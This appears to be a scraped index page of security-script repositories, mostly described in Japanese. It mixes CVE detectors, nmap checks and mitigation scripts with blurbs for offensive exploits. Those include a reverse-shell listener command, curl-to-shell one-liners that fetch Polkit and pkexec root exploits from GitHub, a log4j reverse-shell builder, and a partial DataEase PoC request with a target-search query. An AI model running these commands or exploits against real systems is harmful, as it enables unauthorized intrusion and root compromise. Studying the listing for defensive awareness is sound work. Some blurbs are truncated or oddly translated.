telnet-CVE-2026-24061

https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnetrce.py コードを理解する必要がある 2. inputを使わず、直接zmienna = ''で動作するコードを構築する コードはあらゆるデバイスと互換性がなければならないため、os.system'polecenie'のようなコマンドは使用できない 3. simple-term-menuによるGUIの追加...

KSK-ITDK-CVE-2026-21509-Mitigation

CVE-2026-21509-Mitigation CVE-2026-21509の検出および修復を行うPowerShellスクリプト...

Search-log4Jvuln-AppScanSTD

AppScan StandardとWebサイトのリストを使用してlog4Jの脆弱性を検索する このPowershellスクリプトは、Webサイトのリスト（URLs.txt）に対してAppScan Standardスキャンを実行し、Log4J（CVE-2021-44228）の脆弱性のみをチェックします。 プロジェクトの構成: スクリプトを実行すると、URLs.txtの各行を読み取り、Log4J（CVE-2021-44228）の脆弱性のスキャンを開始します。 各スキャンが終了すると、結果がLog4JResultAnalysis.txtに書き込まれます。...

CVE-2023-42793_POC

CVE-2023-42793 エクスプロイトスクリプト 概要 このスクリプトは、CVE-2023-42793 の脆弱性に対するエクスプロイトプロセスを自動化するために設計されています。特定のサービス（この脆弱性の影響を受けると推定される）を対象とし、ユーザートークンの削除、新しいユーザートークンの作成、そして管理者権限を持つ新しいユーザーの作成を試みます。 要件 Python 3 ライブラリ: requests、random、argparse、xml.etree.ElementTree インストール 1. システムに Python 3 がインストールされていることを確認します。 2. 必...

log4j

log4j-detect 「Log4j」Javaライブラリの脆弱性（CVE-2021-44228）をURLリストに対してマルチスレッドで検出するシンプルなPython 3スクリプト このスクリプトは takito1812/log4j-detect をベースにしています By ExodataCyberdefense Python 3で開発されたスクリプト「log4j-detect.py」は、指定されたURLリストがCVE-2021-44228に対して脆弱かどうかを検出する役割を担います。...

Metabase_Nmap_Script

MetabaseNmapScript これはMetabaseの脆弱性（CVE-2021-41277）に対するnmapスクリプトです 使用方法 -- nmap -Pn -n -p443 --script metabase.nse -- PORT STATE SERVICE -- 443/tcp open https -- | metabase: -- | VULNERABLE: -- | Metabase CVE-2021-41277 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-41277 -- |...

GravCMS_Nmap_Script

GravCMSNmapScript GravCMSの脆弱性（CVE-2021-21425）を検出するためのnmapスクリプトです。 使用方法 -- nmap -p443 --script gravcms.nse -- PORT STATE SERVICE -- 443/tcp open https -- | gravcms: -- | VULNERABLE: -- | GravCMS CVE-2021-21425 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-21425 -- | GravCMS...

CVE-2025-49844-discovery

ElastiCache Redis/Valkey ネットワーク分析ツール AWS ElastiCache Redis および Valkey クラスターのネットワーク露出を監査するためのスクリプトです。 前提条件 適切な認証情報で設定された AWS CLI jq がインストールされていること: brew install jq スクリプト list-elasticache-clusters.sh 指定されたリージョンにわたるすべての Redis/Valkey クラスターを一覧表示します。 root@kitploit: ./list-elasticache-clusters.sh...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744を悪用するためのPythonスクリプト 使用方法：まず、2つのターミナルを開いてください 1つ目のターミナル -- nc -nvlp 4444 2つ目のターミナル -- python CVE-2026-23744.py -lhost あなたのIP -url ターゲットURL ヘルプメニュー：python CVE-2026-23744.py -h...

CVE-2021-44132

CVE-2021-44132 このスクリプトは、BESTCOMなどのC-DATA独自ルーターにおけるOMCISHELLオブジェクトの脆弱性を悪用します。...

CVE-2021-32157

CVE-2021-32157 Dockerを使用して、脆弱性のあるWebmin仮想環境をコンテナとして構築できるようにします ビルド ダウンロード関連のエラーが発生した場合は、dockerfileの15行目をコメントアウトし、dockerfileの14行目を実行してください。 root@kitploit: docker build -t VulnWebmin . docker run --name VulnWebmin -d --rm -p 10000:10000 VulnWebmin ログイン root@kitploit: http://SERVERIP:10000 にアクセスしてくだ...

CVE-2021-42392-Detect

CVE-2021-42392-Detect 概要 このスクリプトは、指定されたIPリストに対して脆弱なH2サーバーを検出します。H2コンソールのWebページを識別し、アクセス制限の有無を確認できます。 使用方法 IPリストを含むファイルを作成し、ファイル名を「IP.txt」にします。「IP.txt」と「h2-detect.py」を同じディレクトリに配置し、スクリプトを実行します。 ここで「IP.txt」はスクリプトにハードコードされたデフォルトのファイル名ですが、スクリプトは任意のファイル名を入力引数として受け取ることもできます。...

CVE-2021-4034

CVE-2021-4034 BashスクリプトにおけるCVE-2021-4034 使用方法： source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2024-49113-Checker

CVE-2024-49113-Checker お使いの環境がCVE-2024-49113（LDAP Nightmare）に対して潜在的に脆弱かどうかをテストするスクリプトです。このスクリプトは以下を実行します： RPC接続チェック LDAPポートテスト Netlogonサービスの検証 LDAPコールバックの確認 root@kitploit: usage : python CVE-2024-49113-checker.py root@kitploit: Example Scan a single IP python CVE-2024-49113-checker.py 192.168.1.1...

log4j-exploit-builder

log4j-exploit-builder log4j（CVE-2021-44228）のエクスプロイトを作成するスクリプト。リバースシェルを取得するためのさまざまな方法に対応しています。 注: このコードは急いで作成されたものであり、今後改善される予定です。...

CVE-2026-10289-XSS

ホテル・観光予約システム - 保存型クロスサイトスクリプティング（XSS） 脆弱性の詳細...

CVE-2021-4034

使い方： sh poc.sh...

CVE-2021-4034

CVE-2021-4034 BASHファイル、ダウンロード機能がない？コピー＆ペーストしよう！...

CVE-2021-3560

CVE-2021-3560 Polkit 即時 Root 漏洞利用 您可以在存在 Polkit CVE-2021-3560 漏洞的機器上輸入以下命令，一鍵獲取 root 權限： sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 或者您可以下載 .sh 檔案或直接複製貼上。執行後即可即時取得 root 權限。建立的使用者名稱為 'n3on'，無密碼，腳本隨後會切換至 root。 使用方法： git clone...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa構文：title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like...